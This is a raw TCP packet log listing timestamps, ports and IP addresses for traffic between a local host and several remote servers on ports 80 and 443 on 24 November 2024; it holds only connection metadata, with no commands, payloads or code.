Nov 24, 2024 23:24:38.360002995 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.360215902 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.360785961 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.360857964 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.360912085 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.360980988 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.361670971 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.361737967 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.361807108 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.361856937 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.362536907 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.362570047 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.362601995 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.362634897 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.363434076 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.363524914 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.363600969 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.364403009 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.364475965 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.364521027 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.364567995 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.365159988 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.365287066 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.365351915 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.366059065 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.366132975 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.366153955 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.366233110 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.366921902 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.367065907 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.367127895 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.367809057 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.367932081 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.368004084 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.368681908 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.368762016 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.368805885 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.368853092 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.369577885 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.369657993 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.369692087 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.369910002 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.370460987 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.370558023 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.370563030 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.370605946 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.371344090 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.371464968 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.371551991 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.372210979 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.372277975 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.372323990 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.372370958 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.373101950 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.373167992 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.373204947 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.373425007 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.373971939 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.374041080 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.374083042 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.374260902 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.374861956 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.374921083 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.374926090 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.375013113 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.375755072 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.375834942 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.375875950 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.375929117 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.376632929 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.376713991 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.498572111 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.498588085 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.498684883 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.498931885 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.498944998 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.499433041 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.499799013 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.499937057 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.499985933 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.500627041 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.500941992 CET	443	49832	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:38.501008034 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.506584883 CET	49832	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:38.506598949 CET	443	49832	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:38.506964922 CET	443	49832	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:38.507680893 CET	49832	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:38.507749081 CET	443	49832	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:38.509687901 CET	49832	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:38.551356077 CET	443	49832	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:38.556338072 CET	443	49795	18.165.220.57	192.168.2.5
Nov 24, 2024 23:24:38.557128906 CET	443	49795	18.165.220.57	192.168.2.5
Nov 24, 2024 23:24:38.557195902 CET	49795	443	192.168.2.5	18.165.220.57
Nov 24, 2024 23:24:38.564626932 CET	49795	443	192.168.2.5	18.165.220.57
Nov 24, 2024 23:24:38.564642906 CET	443	49795	18.165.220.57	192.168.2.5
Nov 24, 2024 23:24:38.570214987 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.570259094 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.570331097 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.570331097 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.570611954 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.570710897 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.570770025 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.570842981 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.570924044 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.571644068 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.571762085 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.571808100 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.572516918 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.572614908 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.572647095 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.572662115 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.573380947 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.573527098 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.573575974 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.574274063 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.574357986 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.574418068 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.575186014 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.575288057 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.576047897 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.576093912 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.576131105 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.576176882 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.576952934 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.577008009 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.577095985 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.577241898 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.577790022 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.577860117 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.577972889 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.578016996 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.578655958 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.578751087 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.578766108 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.578811884 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.579591990 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.579665899 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.579706907 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.579854012 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.580454111 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.580518961 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.580560923 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.580605984 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.581321001 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.581374884 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.581455946 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.581517935 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.582231998 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.582328081 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.582375050 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.583085060 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.583194017 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.583247900 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.583955050 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.584011078 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.584053993 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.584089994 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.584830999 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.584903955 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.584944963 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.584990978 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.585773945 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.585824013 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.585866928 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.585989952 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.586646080 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.586745024 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.586795092 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.587510109 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.587591887 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.587626934 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.587666988 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.588458061 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.588500023 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.588552952 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.589323044 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.589382887 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.590159893 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.590202093 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.590218067 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.590271950 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.590321064 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.591032028 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.591082096 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.591123104 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.591167927 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.591908932 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.592005014 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.592015028 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.592056990 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.592788935 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.593017101 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.593076944 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.593667984 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.593786001 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.593813896 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.593841076 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.594543934 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.594614983 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.594773054 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.594989061 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.595417976 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.595465899 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.595510960 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.595762968 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.596293926 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.596350908 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.596417904 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.596472979 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.597193956 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.597246885 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.597325087 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.597625971 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.598061085 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.598115921 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.598155022 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.598201036 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.599112988 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.599189043 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.599247932 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.599837065 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.599905968 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.599927902 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.600048065 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.600694895 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.600739956 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.600811958 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.600863934 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.601583958 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.601691008 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.601802111 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.602444887 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.602500916 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.602550983 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.602595091 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.603353977 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.603445053 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.603502989 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.603503942 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.604229927 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.604264975 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.604305983 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.604345083 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.605124950 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.605226994 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.605284929 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.605993986 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.606053114 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.606085062 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.606276989 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.606865883 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.606894970 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.607144117 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.607758045 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.607882023 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.607940912 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.608633041 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.608690977 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.608767033 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.608808994 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.609584093 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.609635115 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.609672070 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.609874964 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.610435963 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.610515118 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.610517979 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.610560894 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.611418009 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.611478090 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.611540079 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.611584902 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.612180948 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.612238884 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.612309933 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.612349033 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.613074064 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.613118887 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.613166094 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.693073034 CET	443	49829	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:38.693139076 CET	443	49829	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:38.693528891 CET	49829	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:38.695585966 CET	443	49834	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:38.695611000 CET	443	49831	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:38.696491003 CET	49831	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:38.696526051 CET	443	49831	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:38.696706057 CET	49834	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:38.696718931 CET	443	49834	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:38.696918011 CET	443	49831	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:38.697561026 CET	49829	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:38.697573900 CET	443	49829	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:38.697585106 CET	49829	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:38.697590113 CET	443	49829	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:38.697762966 CET	443	49834	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:38.697827101 CET	49834	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:38.700015068 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.700114012 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.700115919 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.700161934 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.700428963 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.700491905 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.700525045 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.700571060 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.701319933 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.701441050 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.701677084 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.701761961 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.702176094 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:38.702220917 CET	49831	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:38.702300072 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:38.702306032 CET	443	49831	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:38.703417063 CET	49834	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:38.703500986 CET	443	49834	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:38.703711987 CET	49831	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:38.703766108 CET	49834	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:38.703788996 CET	443	49834	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:38.705889940 CET	443	49836	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:38.707544088 CET	49842	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:38.707580090 CET	443	49842	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:38.707699060 CET	443	49835	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:38.707720995 CET	49842	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:38.707768917 CET	49836	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:38.707782984 CET	443	49836	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:38.707880020 CET	49835	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:38.707892895 CET	443	49835	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:38.708231926 CET	49842	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:38.708245039 CET	443	49842	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:38.708831072 CET	443	49836	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:38.708892107 CET	49836	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:38.709223032 CET	49836	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:38.709285021 CET	443	49836	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:38.709336042 CET	49836	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:38.711277008 CET	443	49835	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:38.711340904 CET	49835	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:38.711623907 CET	49835	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:38.711689949 CET	49835	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:38.711689949 CET	443	49835	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:38.716722012 CET	443	49833	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:38.717047930 CET	49833	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:38.717056990 CET	443	49833	13.107.246.40	192.168.2.5
